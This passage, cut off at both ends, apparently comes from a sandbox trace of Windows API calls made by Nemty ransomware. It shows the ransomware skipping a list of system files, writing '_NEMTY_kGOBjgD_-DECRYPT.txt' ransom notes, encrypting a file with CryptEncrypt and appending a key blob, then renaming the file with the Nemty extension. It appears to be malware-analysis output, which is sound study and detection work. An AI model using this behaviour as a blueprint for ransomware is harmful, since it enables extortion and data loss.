lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0178.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0178.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.282] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0178.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0178.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0178.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0178.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.285] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.285] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0178.286] CloseHandle (hObject=0x2e8) returned 1 [0178.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0178.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0178.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0178.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0178.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0178.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.286] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.287] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.287] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0178.288] CloseHandle (hObject=0x2e8) returned 1 [0178.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0178.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0178.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.288] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1de82630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1de82630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0178.288] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0178.288] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1de82630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1de82630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.288] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0178.288] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0178.288] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9598, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0178.288] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0178.288] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0178.288] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0178.288] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0178.288] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0178.288] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0178.288] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0178.288] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0178.288] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0178.288] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0178.289] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0178.289] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0178.289] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0178.289] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0178.289] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0178.289] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0178.289] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0178.289] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0178.289] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0178.289] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0178.289] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0178.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0178.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0178.289] Sleep (dwMilliseconds=0x5) [0178.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1dea8790, dwHighDateTime=0x1d561e8)) [0178.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1dea8790, dwHighDateTime=0x1d561e8)) [0178.290] GetLastError () returned 0xb7 [0178.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.290] GetLastError () returned 0xb7 [0178.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.290] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0178.290] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0178.291] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0178.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0178.291] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="PMr1TsiWDuBGbpTQMVBqbmvbfLQJNL87J6rY+wjBGNOO+x2+vFG3Bv1ETyIWKZnh\r\nzYhCDoSmIDjWqUANf+48SD4DaH56V66UQLWcp7H6zgJJ9XhHp9Y+RZNpiDTsLYDQ\r\nAszYvB6WD2CXc/Hy3UHEbK4AHI+Io1HjIBR+dAuk+j8ifjzCcbShYzzhi/Rg8gpK\r\nugec+adOOgfsqA50WDjwJono9eqxZEl3XJO6PZ/qlrtqtiSx1JBIBBr82MzZj0Ts\r\nuedIiKHLxPQlcKeHXYq1Y//ppOKul6oO8k2ngy5Q+O5GKywa6wi5SSQZBkFyv6Es\r\ny0jAcCixTTZ7GZVA6hqWpQ==\r\n", pcchString=0x653e29c) returned 1 [0178.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0178.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0178.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.291] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0178.291] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=38296) returned 1 [0178.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9590) returned 0x6352c48 [0178.291] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.291] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9590, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x9590, lpOverlapped=0x0) returned 1 [0178.295] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.295] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9590, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x9590, lpOverlapped=0x0) returned 1 [0178.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.295] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=38296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9598 [0178.296] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0178.296] CloseHandle (hObject=0x2f0) returned 1 [0178.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0178.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0178.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0178.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0178.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.296] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0178.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0178.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0178.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0178.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.297] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0178.297] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0178.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.297] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.297] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.298] RtlAllocateHeap (HeapHandle=0x4f90000, 